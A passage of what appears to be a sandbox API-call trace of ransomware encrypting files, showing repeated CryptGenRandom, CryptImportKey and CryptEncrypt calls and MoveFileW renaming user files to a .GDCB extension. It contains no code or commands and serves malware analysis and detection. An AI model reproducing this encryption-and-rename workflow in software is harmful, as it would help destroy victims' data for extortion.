flProtect=0x4) returned 0x5340000 [0176.196] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.gdcb")) returned 1 [0176.202] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.203] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.204] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.204] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.204] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.205] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.205] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.205] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.205] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.208] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655358) returned 1 [0176.208] CryptGetKeyParam (in: hKey=0x3655358, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.208] CryptEncrypt (in: hKey=0x3655358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.208] GetLastError () returned 0x0 [0176.208] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.208] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.210] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654dd8) returned 1 [0176.210] CryptGetKeyParam (in: hKey=0x3654dd8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.210] CryptEncrypt (in: hKey=0x3654dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.210] GetLastError () returned 0x0 [0176.210] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.210] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.212] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.213] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.213] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x8750, lpOverlapped=0x0) returned 1 [0176.218] VirtualAlloc (lpAddress=0x0, dwSize=0x8750, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.222] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf.gdcb")) returned 1 [0176.227] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.229] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.230] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.230] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.231] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.231] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.232] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.234] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654d98) returned 1 [0176.234] CryptGetKeyParam (in: hKey=0x3654d98, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.234] CryptEncrypt (in: hKey=0x3654d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.234] GetLastError () returned 0x0 [0176.234] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.234] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.236] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655198) returned 1 [0176.236] CryptGetKeyParam (in: hKey=0x3655198, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.236] CryptEncrypt (in: hKey=0x3655198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.236] GetLastError () returned 0x0 [0176.236] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.236] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gyoubgx88pjkao y.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.238] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.239] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.240] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x135bd, lpOverlapped=0x0) returned 1 [0176.245] VirtualAlloc (lpAddress=0x0, dwSize=0x135c0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.250] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gyoubgx88pjkao y.mp3"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gyoubgx88pjkao y.mp3.gdcb")) returned 1 [0176.255] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0176.256] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.257] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.257] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.257] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.259] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.259] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.259] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.261] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654e18) returned 1 [0176.261] CryptGetKeyParam (in: hKey=0x3654e18, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.261] CryptEncrypt (in: hKey=0x3654e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.261] GetLastError () returned 0x0 [0176.261] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.261] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.263] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654e58) returned 1 [0176.263] CryptGetKeyParam (in: hKey=0x3654e58, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.263] CryptEncrypt (in: hKey=0x3654e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.263] GetLastError () returned 0x0 [0176.263] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.263] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hvvftkteq1q.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.265] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.266] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.267] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x16698, lpOverlapped=0x0) returned 1 [0176.272] VirtualAlloc (lpAddress=0x0, dwSize=0x166a0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.277] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hvvftkteq1q.mp3"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hvvftkteq1q.mp3.gdcb")) returned 1 [0176.282] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.284] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.284] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.284] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.286] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.286] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.286] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.286] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.288] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654ed8) returned 1 [0176.288] CryptGetKeyParam (in: hKey=0x3654ed8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.288] CryptEncrypt (in: hKey=0x3654ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.289] GetLastError () returned 0x0 [0176.289] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.289] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.292] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655018) returned 1 [0176.292] CryptGetKeyParam (in: hKey=0x3655018, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.292] CryptEncrypt (in: hKey=0x3655018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.292] GetLastError () returned 0x0 [0176.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.292] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jdla6osj6x3cyku_75s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.295] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.296] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.297] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0xe64b, lpOverlapped=0x0) returned 1 [0176.302] VirtualAlloc (lpAddress=0x0, dwSize=0xe650, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.307] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jdla6osj6x3cyku_75s.avi"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jdla6osj6x3cyku_75s.avi.gdcb")) returned 1 [0176.312] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.314] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.314] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.314] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.315] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.315] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.315] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.317] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654e98) returned 1 [0176.318] CryptGetKeyParam (in: hKey=0x3654e98, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.318] CryptEncrypt (in: hKey=0x3654e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.318] GetLastError () returned 0x0 [0176.318] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.318] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.320] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655558) returned 1 [0176.320] CryptGetKeyParam (in: hKey=0x3655558, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.320] CryptEncrypt (in: hKey=0x3655558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.320] GetLastError () returned 0x0 [0176.320] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.320] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.322] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.323] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.324] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x1540, lpOverlapped=0x0) returned 1 [0176.328] VirtualAlloc (lpAddress=0x0, dwSize=0x1540, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.331] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv.gdcb")) returned 1 [0176.336] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.338] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.338] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.338] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.338] 